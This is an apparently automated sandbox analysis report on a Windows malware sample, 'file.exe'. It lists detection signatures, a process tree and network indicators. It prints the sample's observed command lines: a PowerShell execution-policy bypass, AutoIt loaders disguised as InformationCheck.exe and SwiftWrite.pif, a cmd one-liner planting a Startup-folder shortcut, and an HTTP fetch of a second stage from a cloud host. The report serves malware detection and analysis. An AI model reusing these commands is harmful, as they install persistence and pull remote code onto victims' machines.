Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1528956
MD5:	1d2cf62e7874bb460b7258279a55ddf3
SHA1:	9a060f273aee924d7972a5ddd561a34f4510d64d
SHA256:	c5378718434462185d98c672106dbfd4efbc8d6b7a0c60efe79000f11c955ffa
Tags:	exeuser-Bitsight
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Sigma detected: Drops script at startup location

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

Bypasses PowerShell execution policy

Drops PE files to the user root directory

Drops PE files with a suspicious file extension

Machine Learning detection for sample

Sigma detected: Execution from Suspicious Folder

Sigma detected: Execution of Powershell Script in Public Folder

Sigma detected: Parent in Public Folder Suspicious Process

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: WScript or CScript Dropper

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the user directory

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (date check)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

Potential key logger detected (key state polling based)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

file.exe (PID: 7432 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 1D2CF62E7874BB460B7258279A55DDF3)

powershell.exe (PID: 7452 cmdline: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\ProfileDetails.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7460 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

InformationCheck.exe (PID: 7680 cmdline: "C:\Users\Public\InformationCheck.exe" C:\Users\Public\Details.au3 MD5: C56B5F0201A3B3DE53E561FE76912BFD)

cmd.exe (PID: 7724 cmdline: cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7732 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wscript.exe (PID: 7856 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

SwiftWrite.pif (PID: 7948 cmdline: "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G" MD5: C56B5F0201A3B3DE53E561FE76912BFD)

cleanup

Sigma Signatures

System Summary

Sigma detected: Execution from Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Users\Public\InformationCheck.exe" C:\Users\Public\Details.au3 , CommandLine: "C:\Users\Public\InformationCheck.exe" C:\Users\Public\Details.au3 , CommandLine|base64offset|contains: , Image: C:\Users\Public\InformationCheck.exe, NewProcessName: C:\Users\Public\InformationCheck.exe, OriginalFileName: C:\Users\Public\InformationCheck.exe, ParentCommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\ProfileDetails.ps1", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7452, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Users\Public\InformationCheck.exe" C:\Users\Public\Details.au3 , ProcessId: 7680, ProcessName: InformationCheck.exe

Sigma detected: Execution of Powershell Script in Public Folder

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\ProfileDetails.ps1", CommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\ProfileDetails.ps1", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 7432, ParentProcessName: file.exe, ProcessCommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\ProfileDetails.ps1", ProcessId: 7452, ProcessName: powershell.exe

Sigma detected: Parent in Public Folder Suspicious Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit, CommandLine: cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit, CommandLine|base64offset|contains: rg, Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\Public\InformationCheck.exe" C:\Users\Public\Details.au3 , ParentImage: C:\Users\Public\InformationCheck.exe, ParentProcessId: 7680, ParentProcessName: InformationCheck.exe, ProcessCommandLine: cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit, ProcessId: 7724, ProcessName: cmd.exe

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\ProfileDetails.ps1", CommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\ProfileDetails.ps1", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 7432, ParentProcessName: file.exe, ProcessCommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\ProfileDetails.ps1", ProcessId: 7452, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , ProcessId: 7856, ProcessName: wscript.exe

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Source: File created

Author: Florian Roth (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7452, TargetFilename: C:\Users\Public\Details.au3

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\ProfileDetails.ps1", CommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\ProfileDetails.ps1", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 7432, ParentProcessName: file.exe, ProcessCommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\ProfileDetails.ps1", ProcessId: 7452, ProcessName: powershell.exe

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G", CommandLine: "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G", CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif, NewProcessName: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif, OriginalFileName: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif, ParentCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7856, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G", ProcessId: 7948, ProcessName: SwiftWrite.pif

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , ProcessId: 7856, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\ProfileDetails.ps1", CommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\ProfileDetails.ps1", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 7432, ParentProcessName: file.exe, ProcessCommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\ProfileDetails.ps1", ProcessId: 7452, ProcessName: powershell.exe

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Windows\SysWOW64\cmd.exe, ProcessId: 7724, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 31%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.6% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: unknown

HTTPS traffic detected: 83.140.241.4:443 -> 192.168.2.4:49730 version: TLS 1.2

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF7978AB7C0 FindFirstFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00007FF7978AB7C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF7978B72A8 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,	0_2_00007FF7978B72A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF7978B71F4 FindFirstFileW,FindClose,	0_2_00007FF7978B71F4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF7978ABC70 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00007FF7978ABC70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF7978BA874 FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_00007FF7978BA874
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF7978AC7C0 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00007FF7978AC7C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF7978BA4F8 FindFirstFileW,FindNextFileW,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,	0_2_00007FF7978BA4F8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF7978B6428 FindFirstFileW,FindNextFileW,FindClose,	0_2_00007FF7978B6428
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF7978BA350 FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,	0_2_00007FF7978BA350
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF797872F50 FindFirstFileExW,	0_2_00007FF797872F50
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_004C4005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	3_2_004C4005
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_004C494A GetFileAttributesW,FindFirstFileW,FindClose,	3_2_004C494A
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_004CC2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	3_2_004CC2FF
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_004CCD14 FindFirstFileW,FindClose,	3_2_004CCD14
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_004CCD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	3_2_004CCD9F
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_004CF5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	3_2_004CF5D8
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_004CF735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	3_2_004CF735
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_004CFA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	3_2_004CFA36
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_004C3CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	3_2_004C3CE2
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F84005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	8_2_00F84005
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F8494A GetFileAttributesW,FindFirstFileW,FindClose,	8_2_00F8494A
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F8C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	8_2_00F8C2FF
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F8CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	8_2_00F8CD9F
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F8CD14 FindFirstFileW,FindClose,	8_2_00F8CD14
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F8F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	8_2_00F8F5D8
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F8F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	8_2_00F8F735
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F8FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	8_2_00F8FA36
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F83CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	8_2_00F83CE2

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: global traffic

HTTP traffic detected: GET /v1/ws2/:updatemake/:reality/reality.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: my.cloudme.comConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF7978BE87C InternetReadFile,

0_2_00007FF7978BE87C

Source: global traffic

Source: global traffic	DNS traffic detected: DNS query: my.cloudme.com
Source: global traffic	DNS traffic detected: DNS query: nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs

Source: file.exe, 00000000.00000003.1700160371.000002B512254000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1693624835.000002B51232E000.00000004.00000020.00020000.00000000.sdmp, InformationCheck.exe, 00000003.00000002.2956313395.0000000004AE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/gs/gstimestampingsha2g2.crl0
Source: file.exe, 00000000.00000003.1700160371.000002B512254000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1693624835.000002B51232E000.00000004.00000020.00020000.00000000.sdmp, InformationCheck.exe, 00000003.00000002.2956313395.0000000004AE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: file.exe, 00000000.00000003.1700160371.000002B512254000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1693624835.000002B51232E000.00000004.00000020.00020000.00000000.sdmp, InformationCheck.exe, 00000003.00000002.2956313395.0000000004AE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: file.exe, 00000000.00000003.1700160371.000002B512254000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1693624835.000002B51232E000.00000004.00000020.00020000.00000000.sdmp, InformationCheck.exe, 00000003.00000002.2956313395.0000000004AE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r3.crl0
Source: powershell.exe, 00000001.00000002.1809510030.000001C71D887000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://my.cloudme.com
Source: powershell.exe, 00000001.00000002.1809510030.000001C71DC7E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1822512403.000001C72C304000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: file.exe, 00000000.00000003.1700160371.000002B512254000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1693624835.000002B51232E000.00000004.00000020.00020000.00000000.sdmp, InformationCheck.exe, 00000003.00000002.2956313395.0000000004AE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: file.exe, 00000000.00000003.1700160371.000002B512254000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1693624835.000002B51232E000.00000004.00000020.00020000.00000000.sdmp, InformationCheck.exe, 00000003.00000002.2956313395.0000000004AE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/gstimestampingsha2g20
Source: file.exe, 00000000.00000003.1700160371.000002B512254000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1693624835.000002B51232E000.00000004.00000020.00020000.00000000.sdmp, InformationCheck.exe, 00000003.00000002.2956313395.0000000004AE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: powershell.exe, 00000001.00000002.1809510030.000001C71C4B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000001.00000002.1809510030.000001C71C291000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: file.exe, 00000000.00000003.1700160371.000002B512254000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1693624835.000002B51232E000.00000004.00000020.00020000.00000000.sdmp, InformationCheck.exe, 00000003.00000002.2956313395.0000000004AE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: file.exe, 00000000.00000003.1700160371.000002B512254000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1693624835.000002B51232E000.00000004.00000020.00020000.00000000.sdmp, InformationCheck.exe, 00000003.00000002.2956313395.0000000004AE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingsha2g2.crt0
Source: powershell.exe, 00000001.00000002.1809510030.000001C71D8F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000001.00000002.1809510030.000001C71C4B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: file.exe, 00000000.00000003.1700160371.000002B512254000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1693624835.000002B51232E000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2033706127.000001C734A92000.00000004.00000020.00020000.00000000.sdmp, InformationCheck.exe, 00000003.00000002.2950931190.0000000000529000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: powershell.exe, 00000001.00000002.1809510030.000001C71C291000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000001.00000002.1822512403.000001C72C304000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000001.00000002.1822512403.000001C72C304000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000001.00000002.1822512403.000001C72C304000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000001.00000002.1809510030.000001C71C4B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000001.00000002.1809510030.000001C71D11F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000001.00000002.2021600603.000001C73479E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://go.microsoft.co-
Source: powershell.exe, 00000001.00000002.1809510030.000001C71D11F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://my.cloH
Source: powershell.exe, 00000001.00000002.1809510030.000001C71D11F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1809510030.000001C71C4B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://my.cloudme.com
Source: powershell.exe, 00000001.00000002.1809510030.000001C71C4B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://my.cloudme.com/v1/ws2/:updatemake/:reality/reality.txt
Source: powershell.exe, 00000001.00000002.1809510030.000001C71DC7E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1822512403.000001C72C304000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000001.00000002.1809510030.000001C71D8F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000001.00000002.1809510030.000001C71D8F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX
Source: file.exe, 00000000.00000003.1700160371.000002B512254000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1693624835.000002B51232E000.00000004.00000020.00020000.00000000.sdmp, InformationCheck.exe, 00000003.00000002.2956313395.0000000004AE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: InformationCheck.exe, 00000003.00000002.2956313395.0000000004AE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.com/repository/0
Source: file.exe, 00000000.00000003.1700160371.000002B512254000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1693624835.000002B51232E000.00000004.00000020.00020000.00000000.sdmp, InformationCheck.exe, 00000003.00000002.2956313395.0000000004AE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.com/repository/06

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443

Source: unknown
